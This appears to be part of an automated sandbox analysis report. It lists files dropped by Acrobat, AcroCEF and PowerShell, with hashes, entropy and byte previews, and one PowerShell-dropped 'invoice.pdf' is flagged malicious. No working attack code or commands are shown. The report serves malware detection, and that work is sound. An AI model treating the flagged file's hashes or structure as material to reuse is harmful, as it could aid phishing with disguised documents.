Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEglOcqlUreGczhgrnGimVBtqraOj+WRYyu:6a6TZ44ADEQcqlUqt2RqqlBK
MD5:	A0725C8770272024EAED7D162637728A
SHA1:	06BD911562428661B7AEC08D893DF451019935CB
SHA-256:	35CC4A8907333C136E2958A1DDA984C65D52A65E245AD80CAD64278028FE20D6
SHA-512:	093AC1C6C8ADACA2CCF176F9F340162C53EC8A0031AF5F392F5E6B2E506E5D1A523975A74B19F2AF0F4FDDBD9832874EE54E47DF556273FCC2F4ED61A7A68FE5
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIa8dce.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5178552411299933
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl+yYH:Qw946cPbiOxDlbYnuRKdhyYH
MD5:	4870B9FA706D8B0889CCB17FFAE1F41B
SHA1:	51013E0AB348FCA48F5CDA7C4880F3E9ACA52A06
SHA-256:	87B9252D09E10062D01C124CCAC3FDE5F247D09F1C162DF4B21DFF42795CAC44
SHA-512:	3F5076F17B79DFDA9394BA1E0F5CDFDF5630777E1C79007DCE733059C0C349B1530358DE41DD0D23CEB713B92F788CF06F21208B7B906734EA3C02EAF91BD720
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.3.:.0.8.:.4.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f2dp52zx.oqc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zokxv314.rjq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A95u13if_1eflzde_61s.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A99zl9jw_1eflzdd_61s.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 03-08-35-601.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.35281876170989
Encrypted:	false
SSDEEP:	384:zlg/gsrxyB3aDZKhzS2gzeSdg9hHwQPf75BFVcYSJ98+Xti4+6WcRg+cVcxIk+Ed:R5FG
MD5:	9251348EE4C9871584C686E42AED788F
SHA1:	45D80D03AE3C50A9E555192ADBD6578E89302EFC
SHA-256:	47E5DB0361E10B7B770134B0B1DF5439DE4557804A8DF2B24081CD4B032DDD69
SHA-512:	C7E2A104DF2EE9AE8E6C9040238EE7C5842BF822E8628601559F648A0E3CA598ADA885C0C47A120124606963664D4DACB04C4FF5538A46DA5161A37DB1ADC455
Malicious:	false
Preview:	SessionID=bce1dac7-9673-4cc2-be42-6a6bad08a2aa.1736582915625 Timestamp=2025-01-11T03:08:35:625-0500 ThreadID=7560 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=bce1dac7-9673-4cc2-be42-6a6bad08a2aa.1736582915625 Timestamp=2025-01-11T03:08:35:627-0500 ThreadID=7560 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=bce1dac7-9673-4cc2-be42-6a6bad08a2aa.1736582915625 Timestamp=2025-01-11T03:08:35:627-0500 ThreadID=7560 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=bce1dac7-9673-4cc2-be42-6a6bad08a2aa.1736582915625 Timestamp=2025-01-11T03:08:35:628-0500 ThreadID=7560 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=bce1dac7-9673-4cc2-be42-6a6bad08a2aa.1736582915625 Timestamp=2025-01-11T03:08:35:628-0500 ThreadID=7560 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.388321300229568
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rU:o
MD5:	0B810F1038B76E56BA02F538D3A3E276
SHA1:	31B21A5BBB899011784521DA74C94A128BA34690
SHA-256:	7C7B8840FEB6E714AC1D93D2062D777353D15BDCC612C3D0048ED51DD41164E0
SHA-512:	647469DFF1AFB48C14F9219482F858A3869BA92107DAF360BB03327E57F27BA86716AFE48FA97E29DF52C957738C57EA488859E9ADC6A6FBF4EC44554D610B41
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\251d8eaf-d875-42f8-85aa-2261b11130e7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\38be260a-ae9f-4075-a229-029010c42ca6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VRmOWL07oXGZDYIGNP5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tRbWLxXGZDZGT3mlind9i4ufFXpAXkru
MD5:	A2AF23BFB25885064F86DB8980E814B0
SHA1:	30ABA5B9BF57B4200654E9358FB477FB04EA43FA
SHA-256:	1D8CA891D055C1D27E067711ED9BA5B16CA8B299633EA0588384F503279F2B22
SHA-512:	032FFB067C7D7AC4EB5C9BF77075372DD721EFE0990FFB4BFADE7AD79DE0DC293879C4DE818A2CC6D8C5786FAAD379977D927EC5A006AED548B9E5754343B87B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9da861da-1ffb-46cd-b821-129efa2b9ec3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/Mdpy6mlind9j2kvhsfFXpAXDgrFBU2/R0779WL07oXGZfswYIGNPB:83mlind9i4ufFXpAXkrfUs0n9WLxXGZw
MD5:	C0C3D8D07650146FF3444F1807645282
SHA1:	32EA8CF0F46E5C7DECC09EADBB33F761110A6C0E
SHA-256:	78152246BCC6F9FAF4C7B469829978CA363C99BAE5C321D022E12366B0B7B2CD
SHA-512:	B30C77CC7F90E47E5D2236C9C33718E1DEC06588147740C3F7C6682A5A47D23B9820284049AD2F753D43E0352CA7481EF19DA20C414C2C41DD92E78760C1C2C2
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b77d7187-ec7d-4129-914d-1963f9f008a7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
